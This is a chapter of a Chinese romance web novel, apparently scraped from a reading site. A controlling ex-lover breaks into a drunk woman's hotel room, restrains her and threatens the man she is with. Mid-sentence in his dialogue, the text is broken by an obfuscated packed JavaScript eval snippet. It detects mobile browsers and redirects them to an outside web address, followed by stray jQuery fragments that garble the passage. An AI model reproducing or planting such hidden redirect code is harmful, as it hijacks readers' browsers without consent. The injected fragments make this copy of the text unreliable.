默认冷灰
24号文字
方正启体

2. 病态

作者:稚夏本书字数:K更新时间:
    “……喂?”


    听筒里传来的,是阿莱塔温和慈祥的声音:“窈,宴会马上就要开始了,你怎么还没下来?”


    令窈悬着的心重重落下,长长吐出口气,后背全是冷汗:“阿莱塔太太,今晚的客人多吗?”


    “都是自家人的家宴,哪来什么外人。”阿莱塔太太笑着说,“除了我匈牙利的几位家人,就只有你和傅先生两位贵客。我们都在餐厅等着呢,就等你啦。”


    令窈回头看了一眼摊开的行李箱。


    里面的衣服胡乱堆着,像极了她此刻兵荒马乱的心绪。


    阿莱塔曾在她生病的时候悉心照料,像她过世的奶奶一般慈爱,她实在不忍心在这个时候扫了老人家的兴。


    就当是最后的告别吧。


    最终,她还是声音低低地应下:“…好,我换个衣服就来。”


    令窈换了条蓝色流光缎面裙,化了个淡妆,简单梳理了下头发后下楼。


    生日宴设在庄园天鹅湖畔的花园。


    她到场时,宾客们正三三两两举杯交谈。


    阿莱塔抱着打扮得像个小公主的孙女Csilla,远远看见她,便朝她高兴地招手。


    令窈的目光飞快扫过全场每一个角落。


    没有那个身影。


    她紧绷的肩膀终于微微放松,缓步走了过去。


    “阿莱塔太太,祝Csilla生日快乐。”她将精心包装好的画递过去,“这是我为你们画的,希望你们喜欢。”


    阿莱塔打开一看,满眼惊喜。


    画中是几天前的一个午后,她抱着Csilla在玫瑰园里看花,阳光温柔,裙摆摇曳,画面温馨极了。


    “我太喜欢了,谢谢你,窈。”阿莱塔轻轻拥了拥她,举起小孙女软软的小手朝她挥了挥。


    令窈伸出手指,小女孩也用小手回握,圆溜溜的眼睛好奇地望着她。她的目光在那张天真无邪的小脸上顿了一瞬,又匆匆移开。


    一抬眼,恰好看见不远处与人交谈的傅予深。


    阿莱塔顺着她的目光看去,忽然压低声音打趣她:“什么时候能听到你和他的好消息?”


    令窈无奈摇头:“阿莱塔太太,我和他只是偶然相识,不是你想的那样。”


    “窈,你真是个傻瓜。”阿莱塔不以为然地笑,语气却格外笃定,“他看你的眼神,一点都不简单,他喜欢你。”


    令窈怔了怔,一时失语。


    其实她察觉到了傅予深对她的心思,但两人都不会在此久留,她也没有开始一段新恋情的想法。


    与阿莱塔聊了几句后,令窈从香槟塔上取了一杯酒,在角落的位置坐下。


    傅予深很快在她身旁落座,关切地问:“吃过药了吗?头还疼不疼?”


    令窈看了他一眼,“好多了,谢谢。”


    晚风拂来,一缕长发贴在她脸颊。


    身旁的男人自然而然地抬手,就在即将触碰到的瞬间,令窈下意识偏开了头。


    傅予深的手僵在半空,低声道:“抱歉。”


    令窈忽然不知该作何反应。


    而这一幕画面,尽数落在另一桌宾客眼中。


    不远处,两个亚洲面孔的男人对坐饮酒,都戴着帽子。其中一人猛地攥紧杯子站起身,立刻被身旁的同伴死死按住。


    “干什么,坐下。”


    “我就说我们在沙美岛待得好好的,突然来这里干什么。那不是令小姐吗?她怎么和别的男人在一起?”帕辛咬牙切齿,“你没看见吗?那个男人在勾引她!”


    许家良压低声音警告:“先生没发话,轮不到你出头。安分点,别坏了先生的事。”


    帕辛是泰国人,但在香港呆了多年,用粤语骂回去:“顶你个肺,老大头顶一片青青草原,仲饮得落?”


    …


    席间,令窈推脱不了喝了几杯香槟。


    她本就不胜酒力,没过多久便头晕目眩。


    还没等傅予深找来解酒药,她便撑着眩晕的头,踉跄着独自进了电梯。


    她在mini bar取了一支依云,猛灌了几口,又踢掉高跟鞋,径直倒在一旁的床上。


    Csilla那双干净得不含一丝杂质的眼睛,毫无预兆地浮现在脑海里。


    她的视线微微模糊,又飞快仰起脸,强行把那股湿意逼了回去。


    闭上眼,香港霓虹闪烁的街道又在眼前铺展开来。


    她有多久没回去了呢?


    酒意混着倦意席卷而来,她蜷缩在床上,很快便沉沉睡去。


    再次醒来时,房间里一片漆黑。


    令窈头昏脑涨地坐起身,恍惚间,瞥见沙发上坐着一道模糊而挺拔的身影。


    睡意朦胧里,她还以为是放心不下的傅予深。


    只是这般不经允许闯入,实在太过逾矩。


    她蹙了蹙眉,试探着唤道:“傅予深?”


    久久没有回应。


    令窈终于意识到不对,伸手刚想开灯——


    “啪”的一声轻响划破寂静。


    沙发上的男人按下了打火机的滑动砂轮。


    一簇淡蓝色火焰乍亮即灭,只短短一瞬,便照亮了他深邃冷锐的眉眼,与棱角分明的下颌。


    看清这张脸的瞬间,令窈的手僵在半空。


    浑身的酒意瞬间被抽得干干净净,如被冰水从头浇下,彻骨清醒。


    男人漫不经心地扫她一眼,声线毫无起伏:“醒了?”


    令窈脸色如纸一般苍白。


    “怎么这副表情?”他低沉的嗓音在黑暗里蔓延,“看到是我,你很失望?”


    她几乎是失声问道:“你怎么进来的?”


    男人非但没答,反而低笑了一声。


    他似乎根本不在意她的惊慌,视线沉沉压在她身上,只执着自己的问题:“躲了我这么久,一出现,身边就换人了?”


    “他是你的新男友?”


    令窈抬眼,强撑着最后一丝冷静,故意抬高声音:“…是又怎么样?”


    “是吗?”


    男人忽然起身,高大的身影在黑暗中形成更具压迫感的轮廓,一步步朝床边逼近。


    令窈的身体不由自主地往后缩。


    他破天荒地没有靠近,只是居高临下地看着她,语气冰冷至极:“你能躲这么久,你没这么大本事。是谁在背后帮你?”


    他目光锐利,“是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401512|200412||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我妹妹,还是郑楚颐?”


    令窈的眼睫剧烈地颤抖起来。


    从前她不是没见识过他的手段,威逼利诱,无所不用其极。可这两个人都是她的挚友,她一个都不可能出卖。


    “跟她们无关!”令窈冷着脸,“我们已经结束了,你想要什么样的女人得不到,为什么非要缠着我不放?”


    顿了顿,她刻意加重语气,试图逼退他:“我有男朋友了,你别再来打扰我!”


    “你还以为,有男朋友就能挡得住我?”男人眼底掠过一丝极淡的轻蔑,“以前你和贺元淮在一起,我不也照样让你们分了?”


    他忽然微微俯身,独属于他的、带着淡淡烟草气息的压迫感将她整个人笼罩:


    “你觉得这个傅予深,能护得了你多久?”


    令窈脸色骤变,猛地摸过枕边的手机,指尖颤抖着拨通傅予深的号码。


    可传来的,只有冰冷的忙音。


    她猛地抬眼,眼底满是惊恐与愤怒,“你对他做了什么?”


    男人闻言,竟低低地笑了起来。


    笑声里带着毫不掩饰的恶意,半晌,他语气玩味地反问:“你觉得我能对他做什么?”


    令窈想起过往种种,那些被他掌控的、身不由己的日子,心头寒意骤生。


    她顾不上害怕,猛地掀开被子下床,赤着脚就往门口冲。只要能跑到走廊,只要能遇到工作人员,或许还有一线生机。


    可下一秒,手腕就被一股巨大的力道攥住。


    她整个人被狠狠向后拽回,重重撞进一个坚硬、熟悉、又让她恐惧到极致的怀抱。


    男人的手臂像铁箍一样圈着她的腰,勒得她喘不过气。他一手扣死她的手腕,另一手强硬地掐住她的下巴,迫使她抬起脸,与他对视。


    昏暗的光线下,他的瞳孔深不见底,翻涌着她看不懂的阴鸷与偏执:“我话还没说完,跑什么。”


    “没听错的话,你刚才是为了别的男人质问我?”


    “你放开我!”令窈在他怀里拼命挣扎,眼泪终于控制不住地往下掉,拳头一下下砸在他胸膛,却像打在棉花上,“你有什么就冲我来,不要动无辜的人。”


    男人面无表情,任由她发泄,身体如磐石般纹丝不动。


    半晌,他又极低地叹了口气。


    他松开掐着她下巴的手,轻轻拭去她脸上的泪,动作竟带着一丝诡异的温柔。下一秒,他又从后将她抱住,大掌轻拍着她的后背,像在哄一个闹脾气的孩子。


    “那你别跟我撒谎,真跟他谈了?嗯?”


    就在这时,房门被轻轻叩响。


    门外传来傅予深的声音,少了白日的从容,带着明显的醉意:“令窈……你睡了吗?”


    “我看你今晚喝了很多,看着很难受……我给你拿了蜂蜜水,喝一点会舒服些,你开下门好不好。”


    令窈的身体瞬间僵硬,浑身的血液仿佛都在这一刻停止了流动。


    身后男人周身的气压骤然降至冰点。


    他薄唇几乎完全贴在她的耳廓,语气轻得像情人间的呢喃,却极力压抑着戾气,一字一顿:


    “你敢应一个字,今晚,就不止是吻你了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)